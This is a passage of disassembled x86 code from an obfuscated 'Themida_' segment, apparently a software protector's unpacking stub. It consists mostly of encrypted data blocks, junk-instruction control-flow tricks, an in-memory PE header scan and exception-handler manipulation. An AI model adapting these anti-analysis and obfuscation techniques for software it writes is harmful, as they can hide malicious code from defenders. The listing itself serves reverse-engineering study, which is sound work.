0F01E183h, 2585h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1D04h, 0C3564600h, 960B189Eh dd 4644F259h, 8D8BEE43h, 6A80941h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 1Bh, 29C35545h, 0DA2A9865h, 8BB4FD50h dd 0A82E8DBDh, 0CE906h, 5D960000h, 0B1E6402Ch, 0C015E65Ch dd 0E183F2BBh, 23850F01h, 6A000000h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 15042444h, 40000000h, 0DA7C350h dd 7CB2CF81h, 60612A4Dh, 0D280C68Bh, 0FFFEB9D1h, 8166FFFFh dd 210691C2h, 0A8324D8Dh, 858B6006h, 6A82121h, 1E559589h dd 0E96106A8h, 0Dh, 0AEDC071Ch, 0FECD07C3h, 764C57C3h dd 218D21E9h, 6A06A830h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 16042444h, 42000000h, 28C0C352h, 0C58D2973h dd 8B06A82Ah, 0A8324D8Dh, 199D8B06h, 8306A81Fh, 850F01E1h dd 6, 0B018D29h, 8D8B06A8h, 6A83021h, 0F01E183h, 685h dd 0D5858B00h, 6106A834h, 57006A60h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1404h, 0C3574700h, 2424BBFCh dd 0F08106B6h, 0A3EF6C3h, 0FFFFFEB9h, 55006AFFh, 3E8h dd 0C35D2000h, 246C895Dh, 24448104h, 1904h, 0C3554500h dd 0E9A0DF34h, 6060390Ch, 0BD29FC8Ah, 6A80F91h, 61D78B61h dd 2535950Bh, 8D2106A8h, 6A8259Dh, 2C89858Bh, 8D2106A8h dd 6A8251Dh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 0E3C35343h, 4CE3CA79h, 64BB6602h, 9D8D8B5Ah, 0F06A825h dd 0E183FFB7h, 2850F01h, 8A000000h, 1D8D8BDEh, 8B06A825h dd 0A8064585h, 1E18306h, 40850Fh, 6A0000h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0E85160C3h dd 0Ah, 7575B66Bh, 0A033B972h, 0B58BC4FDh, 6A810DDh, 9D895A5Eh dd 6A81A39h, 34EDBD29h, 606106A8h, 1810Fh, 0B9F90000h dd 0FFFFFFFEh, 2BD99D33h, 8D2106A8h, 6A801EDh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 46C35646h, 541493A3h dd 7EAFE881h, 8D21357Bh, 6A81A6Dh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 4AC35747h, 65ED1820h, 1ED8D8Bh dd 6A06A8h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 0F8B500C3h, 0CBE6041h, 89217279h, 0A82CDD85h dd 0E1836106h, 6850F01h, 29000000h, 0A8076D8Dh, 6D8D8B06h dd 6A06A81Ah, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1C042444h, 47000000h, 0DDB3C357h, 325E0C38h, 8B7FCA4Dh dd 0A81009B5h, 1E18306h, 28850Fh, 6A0000h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 0C74E25C3h dd 394E7FA5h, 1FF2DA81h, 606106ECh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 0B4C35747h, 0C37877Fh, 1DAD8D29h dd 85C706A8h, 6A8176Dh, 7D0h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 19h, 7EC35545h, 77EB7E83h, 299D8BF9h dd 6106A835h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Ch, 9CC35646h, 1B97B99Eh, 36742749h, 31558D89h, 7EB06A8h dd 0E99D61h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1B042444h, 40000000h, 0CED3C350h, 16EA5EF4h dd 8166DB94h, 6A1146C6h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 6E7EC350h, 8BC45F56h dd 8F4FEBC1h, 0ABFA251Ch, 0DAC6A108h, 0D41CA4ACh, 0E45C5CD2h dd 3134CE00h, 27CE1BF5h, 34D129B3h, 2AC7DD5Bh, 1BCE17E6h dd 0DB6734DFh, 6FB700A6h, 0EA1A0047h, 0D5A3h, 199C0000h dd 0FECBh, 0FBFE49h, 0B4870000h, 202352DDh, 339C9ED9h dd 87E977E7h, 6A000012h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 0BEADC353h, 0BD833CC4h dd 6A8339Dh, 2E850F00h, 53000000h, 0A2A2E781h, 0F5F3528h dd 68Dh, 0AD8D8B00h, 0B806A819h, 0 ; --------------------------------------------------------------------------- jbe locret_58AD80 mov [ebp+6A80B25h], edi locret_58AD80: ; CODE XREF: Themida_:0058AD74j retn 4 ; --------------------------------------------------------------------------- sub [ebp+6A832ADh], edx mov eax, eax mov [ebp+6A83285h], eax cmp dword ptr [ebp+6A81ED9h], 0 jnz short loc_58ADA3 cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_58ADB6 loc_58ADA3: ; CODE XREF: Themida_:0058AD98j push eax push ebx mov eax, eax mov eax, 4D0h lea ebx, [ebp+6AA9F80h] call ebx pop ebx pop eax loc_58ADB6: ; CODE XREF: Themida_:0058ADA1j cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_58ADD0 push eax push ebx mov eax, 4D0h lea ebx, [ebp+6AA9ECDh] call ebx pop ebx pop eax loc_58ADD0: ; CODE XREF: Themida_:0058ADBDj or edi, [ebp+6A82771h] push 0 push edi call sub_58ADE1 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58ADE1 proc near ; CODE XREF: Themida_:0058ADD9p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_58ADE1 endp ; --------------------------------------------------------------------------- db 0F1h, 0EEh, 15h ; --------------------------------------------------------------------------- mov eax, 0C08BFF46h pusha mov esi, [ebp+6A80A95h] sbb edi, 58A4CFEEh popa lea eax, [ebp+6AC1311h] push 0 push edi call sub_58AE18 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58AE18 proc near ; CODE XREF: Themida_:0058AE10p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_58AE18 endp ; --------------------------------------------------------------------------- dd 0B1646F65h, 90F5BD72h, 50FA8B66h, 0FD71BF66h, 0FE62BF90h dd 858D4B81h, 6AC12CEh, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ch, 90C35646h, 412A9947h, 9BE009A5h, 599D8B60h dd 6106A833h, 0BE990h, 0E9660000h, 3222E5Ah, 0AB6022CDh dd 14E85078h, 56000000h, 3A5DECEEh, 0DD752E77h, 0ED07A31Ah dd 53FDA90Ah, 6697D4D1h, 5FB1B3BAh, 56006A90h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 0D83A94A7h dd 8BE61EB1h, 2880FCEh, 0B1000000h, 3595FF9Ah, 906A81Ah dd 0A82E7D95h, 24448B06h, 52006A04h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0AAB1AC3Bh dd 12F98589h, 10E906ACh, 0ED000000h, 1FED9A46h, 677EE77Dh dd 0A88463F8h, 8B4F1179h, 89082444h, 0A81999BDh, 0D858906h dd 6A06AC13h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 3CB2C350h, 8E0FD425h, 6, 14C59523h dd 0BD8306A8h, 6A80F01h, 0D8850F00h, 0F000000h, 85C6FFB7h dd 6A815D5h, 5DA9BA47h, 0B70F1CD0h, 52D668FEh, 6056D443h dd 0BF666160h, 5F619AD2h, 0FC240481h, 0E9005754h, 14h dd 5AED1702h, 0AA65D3AAh, 0DAB04454h, 873DAE4Eh, 0ADEE1945h dd 28DB509h, 0B5FF06A8h, 6A80F95h, 0FE960h, 3B330000h dd 0BFE2ACF6h, 75BA8D1Ah, 33670FC1h, 3840F96h, 0F000000h dd 8D61DFBFh, 0AB697185h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1804h, 0C3574700h, 9C82F492h dd 398D8B30h, 0FF06A815h, 0E28166D0h, 8B60C12Eh, 0A81D99BDh dd 0CC8A5106h, 85896158h, 6A80F01h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 0D2C35545h, 0CB8B66FAh, 66D18B66h dd 835616BAh, 0A80909BDh, 850F0006h, 0C0h, 919589h, 0B58906A8h dd 6A828A1h, 15D585C6h, 6A4706A8h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1A042444h, 40000000h, 164DC350h dd 700C6AD5h, 0C8BF0FEBh, 4E8CFB6h, 0E2000000h, 508A0FB5h dd 424448Bh, 0FB8B6653h, 0B9008B59h, 10A447DEh, 4244489h dd 14E9h, 0C1230A00h, 58C0FCADh, 87EE53A4h, 0B9AF283Ch dd 0D4CB8056h, 85895891h, 6A82D79h, 0F95B5FFh, 9D2906A8h dd 6A80C0Dh, 6971858Dh, 6A06ABh, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 140424h, 56460000h, 0B5893AC3h, 6A80AC9h dd 0CD19D31h, 0D0FF06A8h, 9098589h, 8D8906A8h, 6A832E5h dd 28ADBD83h, 0F0006A8h, 0DF85h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1A04h, 0C3574700h, 6A98A556h dd 5188AF31h, 0A958D89h, 0C65906A8h, 0A815D585h, 14E95606h dd 8A000000h, 826296A2h, 0E6E05ECAh, 98AAD1D1h, 0F60973A9h dd 0E9442952h, 8, 35AB9B73h, 1CD7A5EFh, 66F8E168h, 0CE99Eh dd 7C610000h, 9746045h, 0E3C21471h, 3481C3C4h, 7995D824h dd 0F1BD234Ah, 0E806A820h, 0Dh, 0AEB3D138h, 7AAE3508h dd 681188B1h, 4D958B05h, 5906A825h, 0F95B5FFh, 0BD0106A8h dd 6A82239h, 6971858Dh, 9D0906ABh, 6A82FB9h, 6AD0FFh, 3E850h dd 58200000h, 448958C3h, 44810424h, 150424h, 50400000h dd 898164C3h, 0A8288D95h, 0D78B6606h, 28AD8589h, 8D8B06A8h dd 6A81429h, 15D585C6h, 606C06A8h, 0EE9h, 72B57200h, 29ED54F9h dd 0A5783B6Dh, 0F49894Ah, 6861C1B7h, 0C6AE464Dh, 12E9h dd 27802200h, 2F6BAC75h, 14C3F5F5h, 5AE5F044h, 81EF7132h dd 2A362404h, 6A1457h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 1A0424h, 52420000h, 5F6FE6C3h, 706EF0E7h, 0FFCAB70Fh dd 0A831F9B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1B04h, 0C3534300h, 3756365Bh, 4B21A715h dd 1E818D8Bh, 54B906A8h, 8D15F865h, 0A83AC385h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 114E8720h, 1DA18D8Bh, 0D0FF06A8h, 3025BD8Bh, 8D8B06A8h dd 6A80AADh, 12FD8589h, 958B06ACh, 6A806A5h, 1319BD83h dd 0F0006ACh, 10685h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 7E9179Dh, 4F000000h, 5D4E1BC6h dd 0BF669894h, 85C6EC98h, 6A815D5h, 52006A49h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1804h, 0C3524200h, 0A243DA4Fh dd 64846895h, 34818EEFh, 0FA4D6D24h, 89526002h, 0A81C259Dh dd 13E85906h, 6E000000h, 0CCB5EC86h, 27CF5B1Eh, 0EC42F5EAh dd 74D173F1h, 8F0F8B08h, 0 ; --------------------------------------------------------------------------- pop esi popa push dword ptr [ebp+6A831F9h] clc lea eax, [ebp+6A83AC3h] mov [ebp+6A83191h], edi call eax push 0 push ecx call sub_58B386 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B386 proc near ; CODE XREF: Themida_:0058B37Ep arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 14h inc ecx push ecx retn sub_58B386 endp ; --------------------------------------------------------------------------- mov eax, large ds:0FE9h add [edx], al mov ah, 9Bh cli retf ; --------------------------------------------------------------------------- db 0E6h, 1Ah, 5Eh ; --------------------------------------------------------------------------- xor [edx], ah and eax, 0CAA36F3Ah mov [ebp+6AC1319h], eax push 0 push ecx call sub_58B3BC and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58B3BC proc near ; CODE XREF: Themida_:0058B3B4p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_58B3BC endp ; --------------------------------------------------------------------------- dd 982E301Ah, 0D7838DADh, 2880FDAh, 8B000000h, 2D8D8BD1h dd 6A06A82Eh, 4ABF6604h, 26E86874h, 25B5DB03h, 18240481h dd 6A24FCE9h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 15042444h, 47000000h, 19ACC357h, 13E9h, 14C91700h, 2C6D41Ah dd 74F88278h, 72F8F081h, 0E542447Eh, 0D18D89h, 8D8B06A8h dd 6A834D5h, 0EE592368h, 81616042h, 59232434h, 0CE842EFh dd 74000000h, 0C0F6026h, 7E97A667h, 5A8B8697h, 8D8B006Ah dd 6A80BF9h, 27C995FFh, 6A06A8h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 9FDC26C3h, 2E058D8Bh dd 858906A8h, 6AC1309h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 18h, 28C35141h, 0E5914DA3h, 1709BD89h, 85C706A8h dd 6AC1301h, 0 dd 0FAD8D8Bh, 6A06A8h, 4FEF8166h, 4E8BAh, 0 dd 40B90001h, 50008A27h, 448B56B2h, 0EE90424h, 7A000000h dd 32927872h, 0CE9973B9h, 0A1A659E2h, 89008BE6h, 50042444h dd 0A8B96652h, 0E9310FA5h, 12h, 57DC569h, 4B7BEE7Fh, 74850930h dd 56B805DCh, 585A2CB1h, 5AFC5658h, 3860Fh, 8B660000h dd 0E85790F8h, 11h, 0C19221FCh, 56540C0Eh, 23D82C35h, 0CB94468Fh dd 59FA8B68h, 0BF66505Ah, 6A9046ECh, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0B840C351h dd 95E1ACCBh, 958957F2h, 6A806C9h, 0F6BF665Ah, 0E90B6AC4h dd 9, 0D5002936h, 52ECF534h, 0D6858D97h, 6A06AC12h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 4479C357h, 0D1BD8Bh, 0BF6606A8h, 6650DF07h, 489FA8Bh dd 0FFD58A24h, 0A80F0195h, 5858906h, 8D06A82Eh, 0AC12E0B5h dd 8A50F906h, 243489D4h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 16h, 87C35242h, 0E9509C70h, 10h, 0DFD34495h dd 4DA9BA09h, 57E294AFh, 9EF62DF5h, 6A240489h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h dd 2445C357h, 9E241E3Fh, 89C364B1h, 0A826C185h, 995FF06h dd 6A06A809h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 19042444h, 41000000h, 5E9AC351h, 0B6E4D4B0h, 31F9B70Fh dd 0A8319195h, 0FC00B06h, 1185h, 5D8D8B00h, 0E906A81Fh dd 6D3h, 0FB59D31h, 0D0FF06A8h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 14h, 4FC35242h, 3165B531h, 0B58B06A8h dd 6AC1309h, 0DE9h, 0E2FD9E00h, 0F6031D66h, 0AF9FB8E4h dd 468D5596h, 5E820h, 0C2FA0000h, 0F19B0D9h, 158Ch, 0FE800h dd 0F1D0000h, 0A1F543E3h, 0A84CD19Bh, 2A3E0811h, 6A5A5FC0h dd 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h dd 0C3574700h, 0D11FB13Bh, 6BFD3188h, 3810F1Eh, 66000000h dd 820FCB8Bh, 6, 2115BD89h, 605006A8h, 880F5250h, 0 dd 585A310Fh, 61F18B66h, 0F240489h, 0E951F8BFh, 7, 0EF5234BCh dd 59515BF8h, 131995FFh, 810F06ACh, 1, 0FC00BFCh, 2C84h dd 0E989B600h, 5EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 23C35545h, 8BB20CCCh, 0A82275BDh, 207E8006h dd 0BC840F00h, 89000005h, 0A8206DB5h, 6A6006h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1D0424h, 53430000h dd 0BAB81C3h, 0D45839Bh, 89824DFAh, 0A81DE595h, 20468D06h dd 8589CA8Bh, 6AC1305h, 3C78166h, 82E915h, 8D8B0000h, 6A821FDh dd 50006A40h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 85897FE5h, 6A83135h, 0B3DBBF66h, 4DBF6650h dd 2404894Dh, 7EE4BA66h, 8166046Ah, 9001C4E1h, 0BF0F9050h dd 1995FFFBh, 8906AC13h, 0A801A98Dh, 1DB53106h, 8B06A82Bh dd 58FE8BD8h, 17ED958Bh, 0C28106A8h, 5A8F94CDh, 840FDB0Bh dd 10h, 2649958Bh, 0BAB906A8h, 0E946862Fh, 4F3h, 0F003880h dd 0FFFF7B85h, 56006AFFh, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 0B05346D4h, 2BB60933h dd 69B952B0h, 597CB2DCh, 1CE9h, 3D958B00h, 4806A81Dh, 9E8h dd 55F17600h, 12AB425Ah, 8D8B8DA4h, 6A81FF9h, 5853B5Ah dd 0F06AC13h, 1D82h, 0FB8B6600h, 0F5C3880h, 1184h, 2F388000h dd 0FFC9850Fh, 0B70FFFFFh, 0DA8166D7h, 6A40A143h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 1D042444h, 42000000h dd 839CC352h, 0D734FF54h, 0AB2C715h, 8BCABF0Fh, 0A81DE98Dh dd 0DBD8306h, 6AC13h, 18A840Fh, 8E80000h, 0B7000000h, 0FC8F39E9h dd 8BC7362Ah, 0A832DD95h, 0E8905906h, 0Fh, 3AA07A07h, 2C6653DCh dd 0FDEC8EE3h, 60CD2C38h, 66FE8B66h, 5A61D08Bh, 4F69BA50h dd 3902509h, 0AC130D85h, 0BA6606h, 0D9B589D8h, 9006A808h dd 50D18B66h, 0BE9h, 0B3280000h, 0D9BA99B7h, 0CEE215F8h dd 56006A90h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0E98AE976h, 6, 413ACF58h, 0BD8BAA55h, 6A806C9h dd 8589046Ah, 6A831E5h, 50A5B690h, 10E9h, 589EAD00h, 4B25BD22h dd 2F8A1AAAh, 0E39123DAh, 6A905Dh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 606D1BC3h, 57791CBEh dd 0D78B660Ah, 7E861h, 4F0E0000h, 2FD68162h, 0EAE280F6h dd 0CA816659h, 95FFF928h, 6AC1319h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 5AC35141h, 9E98771h, 0C0000000h dd 807D810h, 0FB4D6C4h, 10E9D88Bh, 71000000h, 30630476h dd 3D341D71h, 6D0AC9C5h, 585AB7DEh, 361786B9h, 0FDB0B2Fh dd 3384h, 7E900h, 673B0000h, 0E98CC7EFh, 2E5E970h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h dd 0D2CC49C3h, 10B764E5h, 10000C6h, 0A82F919Dh, 7ABA6606h dd 0BD095802h, 6A833A1h, 13E990h, 0AC5F0000h, 0D8A6CE15h dd 5A00E84Dh, 3816E60Fh, 0DF1DE1Fh, 87BA50EEh, 903A1AC5h dd 0CED9B966h, 6830F52h, 89000000h, 0A81AADBDh, 1E6A5A06h dd 0C800Fh, 800F0000h, 6, 30ED8D8Bh, 0E89006A8h, 12h, 7146120Dh dd 2D2B69DBh, 5497CCDCh, 0AFF823B3h, 8E84349h, 0A4000000h dd 0B76E016Ch, 0E97225EAh, 0Fh, 5984722Eh, 85F4CBE0h, 3BFFA1B1h dd 5A4984E2h, 0D08B505Ah, 8D8D8B90h, 0FF06A802h, 0AC131995h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0F9E59928h, 0FEA8AE5h, 686h, 758D0300h dd 8B06A80Ch, 0B58958D8h, 6A81F39h, 840FDB0Bh, 56h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 30C35141h, 6A830A3Fh dd 0C366C00Ah, 0E99531BFh, 106A810h, 0A83109B5h, 1A9E906h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 150424h dd 51410000h, 0F0B45C3h, 8B50D7BFh, 240489F8h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0EBC35646h, 0FDD21441h dd 7824B00Eh, 0FFD18B66h, 0AC12F9B5h, 50006A06h, 3E8h dd 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h dd 0FFCA1BC2h, 0AC12FD95h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0CEE215F8h dd 1F95BD29h, 816606A8h, 0B6924D9h, 0CB850FC0h, 60000000h dd 9E9h, 6C360100h, 0AA260EBBh, 0FE91297h, 0E1000000h dd 0FB3F67CBh, 3652E578h, 0CA620EBFh, 5061F43Eh, 6870Fh dd 830F0000h, 0 ; --------------------------------------------------------------------------- pop ecx popa push 0 push ebx call sub_58BC8D and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BC8D proc near ; CODE XREF: Themida_:0058BC85p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Bh inc ebx push ebx retn sub_58BC8D endp ; --------------------------------------------------------------------------- pop ss xchg eax, edx cmpsd movsb sal byte ptr [eax+7Fh], 63h mov dword ptr [ebp+6AC1301h], 1 push 0 push ebx call sub_58BCBA and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BCBA proc near ; CODE XREF: Themida_:0058BCB2p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 1Dh inc ebx push ebx retn sub_58BCBA endp ; --------------------------------------------------------------------------- dw 0A17Eh ; --------------------------------------------------------------------------- dec esi or edi, [edi+edi*4+16BF8E74h] adc dx, 0DFD8h mov edi, [ebp+6A83191h] mov [ebp+6A80CF1h], esi jmp loc_58BD4F ; --------------------------------------------------------------------------- push 0 push esi call sub_58BCF5 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BCF5 proc near ; CODE XREF: Themida_:0058BCEDp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 1Ch inc esi push esi retn sub_58BCF5 endp ; --------------------------------------------------------------------------- db 0Eh, 0E3h, 70h ; --------------------------------------------------------------------------- sbb ds:21E3F515h, bl jmp loc_58BD1A ; --------------------------------------------------------------------------- db 9Fh dd 48032F29h db 6Bh, 0BBh ; --------------------------------------------------------------------------- loc_58BD1A: ; CODE XREF: Themida_:0058BD0Ej popa xor edi, 5BB1F947h add esi, 11Ch cld jmp near ptr dword_58B4D4+1EAh ; --------------------------------------------------------------------------- push 0 push edi call sub_58BD38 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BD38 proc near ; CODE XREF: Themida_:0058BD30p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 1Ah inc edi push edi retn sub_58BD38 endp ; --------------------------------------------------------------------------- dd 9B418801h db 0B1h, 0FFh, 8Bh ; --------------------------------------------------------------------------- loc_58BD4F: ; CODE XREF: Themida_:0058BCE5j push 7166DB5Bh jmp loc_58BD65 ; --------------------------------------------------------------------------- db 0E4h, 8Bh, 33h dd 990E447Ah, 0F6A69413h ; --------------------------------------------------------------------------- popa loc_58BD65: ; CODE XREF: Themida_:0058BD54j xor dword ptr [esp], 71665B5Bh call near ptr loc_58BD7C+1 and al, 0D1h xchg ebp, [ecx] daa xchg eax, esp mov edx, 12EE6416h loc_58BD7C: ; CODE XREF: Themida_:0058BD6Cp sub [ebx-57F1C66Bh], ecx push es pop edx push 0 mov [ebp+6A82A9Dh], edi push dword ptr [ebp+6AC1309h] push 0 push ebp call sub_58BD9D and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_58BD9D proc near ; CODE XREF: Themida_:0058BD95p arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_58BD9D endp ; --------------------------------------------------------------------------- db 4Dh, 0E9h, 0F7h dd 13DD8064h, 28AD95FFh, 6A06A8h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0E26236C3h, 66A82CA5h dd 8B64C981h, 1301858Bh, 6A06ACh, 3E850h, 58200000h, 448958C3h dd 44810424h, 1B0424h, 50400000h, 95AF34C3h, 54DBF690h dd 5ABA66D7h, 0A5BF5072h, 892347C5h, 6A2404h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 0AF3C5CC3h dd 0BB7AD82Dh, 5302730Ch, 11858D59h, 6A06AC13h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1B042444h, 40000000h dd 9A6AC350h, 2CD6ECF9h, 336070F3h, 0A821F595h, 0ED8D8B06h dd 6106A815h, 0FE890h, 0ECCF0000h, 3094F54Ch, 9A217458h dd 3F16970Eh, 0DE810h, 29C80000h, 122F4F2h, 37200F44h dd 6619812Fh, 5951DCB9h, 0BE95059h, 0B9000000h, 62A959EFh dd 9C76994Bh, 8090FEE4h, 858DA7EAh, 6AC12CEh, 3231958Bh dd 895006A8h, 0BA662404h, 95FFF83Eh, 6A82D75h, 90DBD29h dd 0C08B06A8h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 70C35040h, 25D9BD8Bh, 0BD8306A8h, 6A81ED9h, 83097500h dd 0A82DE9BDh, 13740006h, 0C08B5350h, 4D0B8h, 0E79D8D00h dd 0FF06AA9Fh, 83585BD3h, 0A82DE9BDh, 11740006h, 0D0B85350h dd 8D000004h, 0AA9EE69Dh, 5BD3FF06h, 0B1958958h, 0F06A827h dd 0F781D7BFh, 6F605F08h, 6AC08Bh, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1B0424h, 51410000h, 1A5711C3h, 0AE810AB5h dd 58F78ACEh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 16C35040h, 8D8B723Ah, 6A80B89h, 14418D8Bh, 8C206A8h dd 5E96000h, 0A2000000h, 40A9F794h, 8E9h, 0ACDDFF00h, 0E187D913h dd 0C08B615Eh, 8DCE8B66h, 0AC134185h, 0CF816606h, 85894BEBh dd 6A805E9h, 0E1000BAh, 0EA81F0h, 83F00000h, 958914C2h dd 6A800A1h, 8D14EA83h, 0AC266585h, 0FF645006h, 35h, 25896400h dd 0 ; --------------------------------------------------------------------------- call $+5 pop eax sub eax, edx and eax, 0FFFFF000h loc_58C005: ; CODE XREF: Themida_:0058C027j cmp word ptr [eax], 5A4Dh jnz loc_58C022 movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz loc_58C02C loc_58C022: ; CODE XREF: Themida_:0058C00Aj sub eax, 1000h jmp loc_58C005 ; --------------------------------------------------------------------------- loc_58C02C: ; CODE XREF: Themida_:0058C01Cj mov ecx, eax mov [ebp+6A831D5h], eax add eax, [eax+3Ch] movzx edx, word ptr [eax+6] mov [ebp+6A80E75h], edx mov edx, [eax+50h] mov [ebp+6A82605h], edx add eax, 0F8h mov edx, [eax+0Ch] add edx, ecx mov [ebp+6A80D81h], edx add edx, [eax+8] mov [ebp+6A81641h], edx ; CODE XREF: Themida_:0058C0BDj pop large dword ptr fs:0 add esp, 4 jmp loc_58C085 ; --------------------------------------------------------------------------- push ecx mov ecx, [esp+10h] sub dword ptr [ecx+0B0h], 1000h pop ecx xor eax, eax retn ; --------------------------------------------------------------------------- loc_58C085: ; CODE XREF: Themida_:0058C06Dj cmp dword ptr [ebp+6A80061h], 0 jz loc_58C0B6 mov byte ptr [ebp+6A815D5h], 47h push 0D49AA7D2h push dword ptr [ebp+6A80F95h] lea eax, [ebp+6AB6971h] call eax push 0 call eax mov [ebp+6A82D85h], eax loc_58C0B6: ; CODE XREF: Themida_:0058C08Cj mov edx, ebx call sub_58C0CF jo short near ptr loc_58C05D+4 mov ah, 7Bh jmp near ptr 3C85CC0Bh ; --------------------------------------------------------------------------- dw 578Eh dd 443E9A71h ; --------------------------------------------------------------------------- or ah, 0FDh ; =============== S U B R O U T I N E ======================================= sub_58C0CF proc near ; CODE XREF: Themida_:0058C0B8p pusha jmp loc_58C0E5 ; --------------------------------------------------------------------------- db 4Bh, 0A0h, 0A5h dd 0EE422F62h, 1171DC20h, 8C641CF7h db 0F4h ; --------------------------------------------------------------------------- loc_58C0E5: ; CODE XREF: sub_58C0CF+1j mov bh, 92h popa pop ecx jmp loc_58C0F5 ; --------------------------------------------------------------------------- cwde and [esi+38h], edx fild word ptr [edx+edi*4] loc_58C0F5: ; CODE XREF: sub_58C0CF+1Aj add ecx, 